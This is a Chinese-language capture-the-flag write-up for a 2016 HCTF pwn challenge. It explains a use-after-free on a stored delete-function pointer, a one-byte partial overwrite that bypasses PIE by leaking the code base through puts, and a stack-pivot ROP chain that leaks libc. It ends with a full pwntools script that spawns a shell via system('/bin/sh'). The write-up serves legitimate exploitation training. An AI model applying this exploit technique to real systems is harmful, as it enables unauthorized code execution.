2016年hctf的一道pwn题就是干,同时涉及到PIE绕过、uaf、ROP的姿势,先看下防护基本上都开了:
程序本身功能比较简单:
所有的string用一个str_list来存储
0x00 泄露代码段地址
create string时,如果用户的数据长度大于15字节,就会malloc相应大小的内存,否则直接放到str_list中。同时把相应的delete函数也放到str_list中,而delete的时候直接执行这个函数指针。这就使我们可以进行uaf利用。
现在我们已经可以覆盖delete函数了,但是程序开启了PIE(ASLR),不能直接覆盖成我们想要的函数,首先要绕过PIE的防护。
libc每次加载基址会发生变化也是一种ASLR。开启了PIE后的地址,和libc加载时一样,都是在一个内存页的单位上进行变化,即地址的低三位(4KB=0x1000)是不变化的,所以我们可以通过溢出只覆盖已有地址的低三位(实际上只能覆盖低两位也就是一个字节)来控制流程。
例如这道题里,delete函数低位是d52
delete string的内容其实就是调用delete_func指针,参数是当前string的堆块,即delete_func(str_list[i])
在d2d的位置恰好有一个call _puts的指令可以用于泄露,而且位于main函数的循环中,可以进行下一步利用
覆盖之后,delete_fuc(str_list[i])就变成了puts(str_list[i]),如果把delete函数指针之前的24字节填充成不为零的话,puts会一直打印直到泄露出整个puts的函数指针,减去0xd2d就是代码段的基址。
0x02 构造ROP
回过头看delete string函数:
输入yes的时候,后面允许继续构造数据,而如果我们把delete_fuc函数指针覆盖为pop pop retn一类的rop来抬高栈顶,从而有可能返回到栈中我们构造的rop链去执行。
这里只需要一个pop pop pop pop retn的rop就可以返回到buff+8去执行,我们就可以在buff+8开始构造一个泄露free实际地址的rop链,泄露出puts地址后在到libc db去查询libc版本(出的writeup里用格式化字符串实现leak然后DynELF对于萌新来说有点开上帝视角了>^<!)
rop=p64(base_addr+0x11e3) #pop rdi ; retn
rop+=p64(base_addr+0x202018) #free got
rop+=p64(base_addr+0x990) #puts plt
rop+=p64(base_addr+0xc71) #retn to main
0x03 get shell
from pwn import *
p=process('./pwn-f')
libc=ELF('./libc6_2.23.so')
def create(size,data):
p.recvuntil('3.quit')
p.sendline('create ')
p.recvuntil('Pls give string size:')
p.sendline(str(size))
p.recvuntil('str:')
p.send(data)
def delete(index,yes):
p.recvuntil('3.quit')
p.sendline('delete ')
p.recvuntil('id:')
p.sendline(str(index))
p.recvuntil('Are you sure?:')
p.sendline(yes)
create(8,'a'*8)
create(8,'b'*8)
create(8,'c'*8)
delete(1,'yes')
delete(0,'yes') #
create(25,'A'*24+'\x2d')
delete(1,'yes')
p.recvuntil('A'*24)
base_addr=u64(p.recv(6).ljust(8,'\x00'))-0xd2d
print '.text base: ',hex(base_addr)
print 'str list addr: ',hex(base_addr+0x2020c0)
delete(1,'yes')
delete(0,'yes')
create(32,'1'*24+p64(base_addr+0x11dc)) #
rop=p64(base_addr+0x11e3) #pop rdi ; retn
rop+=p64(base_addr+0x202018) #free got
rop+=p64(base_addr+0x990) #puts plt
rop+=p64(base_addr+0xc71) #retn to main
delete(1,'yes'+'\x90'*5+rop)
free_addr=u64(p.recv(6).ljust(8,'\x00'))
print hex(free_addr)
libc_base=free_addr-libc.symbols['free']
system_addr=libc_base+libc.symbols['system']
sh_addr=libc_base+next(libc.search('/bin/sh'))
print 'system address: ',hex(system_addr)
print '/bin/sh address: ',hex(sh_addr)
#gdb.attach(p,'b* '+hex(base_addr+0xd95))
delete(1,'yes'+'\x90'*5+p64(base_addr+0x11e3)+p64(sh_addr)+p64(system_addr))
p.interactive()
网友评论